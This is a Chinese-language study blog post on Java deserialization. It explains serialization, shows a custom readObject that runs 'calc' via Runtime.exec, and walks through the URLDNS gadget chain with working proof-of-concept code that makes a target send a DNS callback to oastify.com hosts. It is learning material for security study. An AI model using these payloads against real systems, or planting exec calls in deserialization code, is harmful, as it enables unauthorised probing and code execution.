该博客为参考学习笔记博客,仅为本人记录的笔记,所以欢迎大家去Drunkbaby
师傅的博客中进行学习!Drunkbaby’s Blog
参考链接:Java反序列化基础篇-01-反序列化概念与利用
一、基础概念
1.1 概念
序列化(Serialization)是指将数据结构或对象转换为一种可以存储或传输的格式的过程。这种格式通常是字节流或字符串,以便可以通过网络传输、保存到文件中或存储在数据库中。常见的序列化格式包括JSON、XML、二进制格式等。
反序列化(Deserialization)是指将序列化的数据格式转换回原始数据结构或对象的过程。通过反序列化,可以从存储或传输的格式中重新构建出原始的数据结构或对象。
简单理解:
序列化:对象 -> 字符串
反序列化:字符串 -> 对象
1.2 目的
为了方便数据的传输!
- 数据持久化:将数据保存到文件、数据库等存储介质中,以便在以后重新加载和使用。
- 数据传输:在网络通信中,通过序列化将数据转换为可以传输的格式,并在接收端通过反序列化恢复为原始数据。
- 跨平台数据交换:不同系统或编程语言之间的数据交换,通过标准的序列化格式(如JSON、XML等)实现互操作性。
1.3 应用场景
- 想把内存中的对象保存到一个文件中或者是数据库当中。
- 用套接字在网络上传输对象。
- 通过 RMI 传输对象的时候。
1.4 常见的序列化格式
JSON:一种轻量级的数据交换格式,易于人类阅读和编写,同时也便于机器解析和生成。
XML(SOAP):一种标记语言,广泛用于文档存储和数据传输。
Protobuf:Google开发的高效二进制序列化格式,适用于高性能需求的应用场景。
YAML:一种易读的序列化格式,常用于配置文件。
二、java原生序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.mango.serialize;
import java.io.Serializable;
public class Person implements Serializable { private String name; private int age;
public Person(){
}
public Person(String name, int age) { this.name = name; this.age = age; }
@Override public String toString() { return "person{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
|
- 序列化文件 serializationTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com.mango.serialize;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream;
public class serializationTest { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws IOException { Person person = new Person("aa", 22); System.out.println(person); serialize(person); } }
|
- 反序列化文件 unserializeTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com.mango.unserialize;
import com.mango.serialize.Person;
import java.io.*;
public class unserializeTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static void main(String[] args) throws IOException, ClassNotFoundException { Person person = (Person) unserialize("ser.bin"); System.out.println(person); } }
|
依次运行serializeTest.java和unserialize.java可以得到相应的结果;
运行serialize.java即可得到类Person序列化后的文件ser.bin,然后运行unserialize.java将序列化的ser.bin反序列化后进行输出;
2.1 serialize.java文件解析
函数serialize封装了序列化功能,通过创建FileOutputStream
输出流对象将序列化后的数据输出到文件ser.bin
中,再通过ObjectOutputStream
对象的writeObject方法将对象进行序列化。
1 2 3 4
| public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
|
2.2 unserialize.java文件解析
刚好与序列化相反,直接读取序列化的数据ser.bin
中的序列化数据,在调用ObjectInputStream对象的readObject方法进行反序列化读取到类对象;
1 2 3 4 5
| public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
|
2.3 Serializable接口说明
- 序列化类的属性没有实现 Serializable 那么在序列化就会报错!
只有实现 了Serializable 或者 Externalizable 接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)
Serializable 接口是 Java 提供的序列化接口,它是一个空接口,所以其实我们不需要实现什么。
Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。如果我们此处将 Serializable 接口删除掉的话,会导致如下结果。
- 在反序列化过程中,它的父类如果没有实现序列化接口(implements Serializable),那么将需要提供无参构造函数来重新创建对象。
- 一个实现 Serializable 接口的子类也是可以被序列化的。
- 静态成员变量是不能被序列化
- transient 标识的对象成员变量不参与序列化
三、序列化安全问题
3.1 安全问题产生的原因
- 序列化与反序列化当中有两个 “特别特别特别特别特别” 重要的方法 ————
writeObject
和 readObject
。
这两个方法可以经过开发者重写,一般序列化的重写都是由于下面这种场景诞生的。
举个例子,MyList 这个类定义了一个 arr 数组属性,初始化的数组长度为 100。在实际序列化时如果让 arr 属性参与序列化的话,那么长度为 100 的数组都会被序列化下来,但是我在数组中可能只存放 30 个数组而已,这明显是不可理的,所以这里就要自定义序列化过程啦,具体的做法是重写以下两个 private 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public final Object readObject() throws IOException, ClassNotFoundException { return readObject(Object.class); } public final void writeObject(Object obj) throws IOException { if (enableOverride) { writeObjectOverride(obj); return; } try { writeObject0(obj, false); } catch (IOException ex) { if (depth == 0) { writeFatalException(ex); } throw ex; } } private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException
|
只要服务端反序列化数据,客户端传递类的 readObject
中代码会自动执行,基于攻击者在服务器上运行代码的能力。
解释一下传递类的readObject
函数会自动执行的原因:
当 ObjectInputStream
反序列化一个对象时,它会检查该类是否定义了一个私有的 readObject
方法。如果存在这样的一个方法,它就会调用这个方法来反序列化对象,而不是使用默认的反序列化机制。这允许开发者在反序列化过程中插入自定义的逻辑。
所以从根本上来说,Java 反序列化的漏洞的与 readObject
有关。
3.2 可能存在安全漏洞的形式
- 入口类的
readObject
直接调用危险方法
- 这种情况呢,在实际开发场景中并不是特别常见,我们还是跟着代码来走一遍,写一段弹计算器的代码,文件 ——— “Person.Java”(定义自定义的readObject函数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| package com.mango.serialize;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class Person implements Serializable { private String name; private int age;
public Person(){
}
public Person(String name, int age) { this.name = name; this.age = age; }
@Override public String toString() { return "person{" + "name='" + name + '\'' + ", age=" + age + '}'; }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); } }
|
自定义readObject函数在入口类中————运行序列化程序serialize.java————运行反序列化程序unserialize.java————计算器弹窗
入口参数中包含可控类,该类有危险方法readObject
时调用
入口类参数中包含可控类,该类又调用其他有危险方法的类readObject时调用
构造函数/静态代码块等类加载时隐式执行
四、反序列化漏洞攻击思路
- 攻击前提:实现Serializable(implement Serializable)
基本思路:
- 入口类:source (重写 readObject 调用常见的函数;参数类型宽泛,比如可以传入一个Object作为参数;最好 jdk 自带)
- 找到入口类之后要找调用链 gadget chain 相同名称、相同类型
- 执行类 sink (RCE SSRF 写文件等等)比如
exec
这种函数
4.1 HashMap举例说明如何找到入门类
- 攻击前提:实现Serializable(implement Serializable)
首先,来到HashMap重写的readObject函数
中寻找执行readObject
操作的地方
可以发现HashMap传入的参数key
和value
进行了readObject
操作,随后再将key变量进行hash
操作;跟入~
发现,当key值不为空null时,会调用key的hashCode()方法;同时,我们可以发现key的类型为Object,满足我们 调用常见的函数 这一条件。
4.2 URLDNS实战
根据Drunkbaby所说,URLDNS利用链到底能不能称之为利用链的探讨,其实我并不关心,因为我听不懂!重点放在理解内容上
URL利用链的优点如下,非常适合我们用于检测反序列化漏洞:
- 使⽤ Java 内置的类构造,对第三⽅库没有依赖。
- 在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞 URL 类,调用
openConnection
方法,到此处的时候,其实 openConnection
不是常见函数,就已经难以利用了。
查看ysoserial 项目的URLDNS链
反复观看师傅的博客终于看明白了!
利用链中的URL.hashCode()中的URL怎么来的?我们经过上述的分析可以知道,URL应该是,那么就是HashMap<key, value>中的键。如何得到,那么就是创建一个HashMap<URL, Integer>,然后调用HahsMap中的put函数将特定的键值输入其中。
我们来到HashMap中的put
函数,可以看到put函数调用了hash
函数,hash
函数则是调用了hashcode
函数。
那么现在我们来研究一下URL
类中的hashcode
函数,可以看到是handler
调用了hashCode
函数
一步步跟入可以发现其调用了getHostAddress(u)
其中u
为传入的参数;再继续跟入就到了师傅所说的InetAddress.getByName(host)
了,作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。到这⾥就不必要再跟了。
确实,到这里思路就已经非常清晰了,大概可以知道这个利用链如何实现的啦!
- HashMap->readObject()
- HashMap->hash()
- URL->hashCode()
- URLStreamHandler->hashCode()
- URLStreamHandler->getHostAddress()
- InetAddress->getByName()
以下是复现师傅的“程咬金”,理解即可!详细参考(本人写得非常简化,所以还是参考师傅本人的吧,确实有点懒了)
1 2 3 4 5 6 7
| public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { Person person = new Person("aa", 22); URL url = new URL("http://3dhr3wop8l59k8qfhew3ddvuklqee42t.oastify.com"); HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>(); hashmap.put(url, 1); serialize(hashmap); }
|
由于URL类中的hashCode
变量的值默认是-1,所以会默认调用URL的hashCode
函数导致执行getByName()
函数从而产生DNS请求,所以需要通过反射机制修改hashCode
变量的默认值-1,使其序列化时不会调用hashCode
函数。
以下是修改后的序列化函数,此时在序列化时就不会产生DNS请求啦。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package com.mango.serialize;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class serializationTest { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { Person person = new Person("aa", 22); URL url = new URL("http://ztwnjs4lohl5046bxaczt9bq0h6bu2ir.oastify.com"); Class c = url.getClass(); Field hashCode = c.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url, 1234); HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>(); hashmap.put(url, 1); hashCode.set(url, -1); serialize(hashmap); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package com.mango.unserialize;
import com.mango.serialize.Person;
import java.io.*; import java.net.URL; import java.util.HashMap;
public class unserializeTest { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static void main(String[] args) throws IOException, ClassNotFoundException { HashMap<URL, Integer> unserialize = (HashMap<URL, Integer>) unserialize("ser.bin"); } }
|
五、总结
谢谢Drunkbaby师傅,收获良多!写得真的非常好
反序列化漏洞利用的条件是必须实现Serializable
漏洞利用的基本思路与反序列化利用链挖掘思路
以下是个人的一点小小理解:(每个人理解可能都不一样)
- 找到入口类(寻找实现Serializable的类),然后分析其重写readObject函数,查看其调用的常见函数(最好是参数类型是Object或者其他宽泛的类型),最好该函数jdk自带
- 寻找类中存在相同常见函数的类,并且该函数调用了一些可利用的函数例如
exec
等等
- 在构思传入指定数值类型的参数进行序列化后以指定类调用该常见函数,从而执行该类中常见函数中存在的危险函数
个人理解的本质就是找寻不同类中同名函数是否存在危险函数,从而对危险函数的利用。